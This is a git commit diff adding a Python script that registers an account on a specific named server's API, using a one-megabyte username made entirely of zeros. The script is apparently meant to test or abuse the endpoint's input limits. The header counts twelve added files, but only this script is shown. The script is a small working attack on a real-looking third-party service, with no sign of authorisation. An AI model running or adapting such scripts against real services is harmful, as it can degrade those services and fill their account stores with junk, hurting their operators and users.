add the scripts
This commit is contained in:
parent
26501f220e
commit
fcecf1a04b
12 changed files with 490 additions and 0 deletions
32
million_zero_username/main.py
Executable file
32
million_zero_username/main.py
Executable file
|
|
@ -0,0 +1,32 @@
|
|||
#!/bin/python3
|
||||
|
||||
import requests
|
||||
import hashlib
|
||||
|
||||
PASSWORD = '0'
|
||||
USERNAME = '0'*1024*1024
|
||||
|
||||
API_URL = "https://teamacedia.baselinux.net:22222/"
|
||||
ENDPOINT_REGISTER = "/api/register"
|
||||
|
||||
def hash_pw(pw: str) -> str:
|
||||
h = hashlib.sha256()
|
||||
h.update(pw.encode())
|
||||
return h.hexdigest()
|
||||
|
||||
def main() -> int:
|
||||
pw = hash_pw(PASSWORD)
|
||||
|
||||
response = requests.post(
|
||||
url = API_URL + ENDPOINT_REGISTER,
|
||||
json = {
|
||||
"username": USERNAME,
|
||||
"password": pw
|
||||
}
|
||||
)
|
||||
|
||||
print(response.status_code)
|
||||
return 0 if response.status_code == 200 else 1
|
||||
|
||||
if __name__ == '__main__':
|
||||
exit(main())
|
||||
Loading…
Add table
Add a link
Reference in a new issue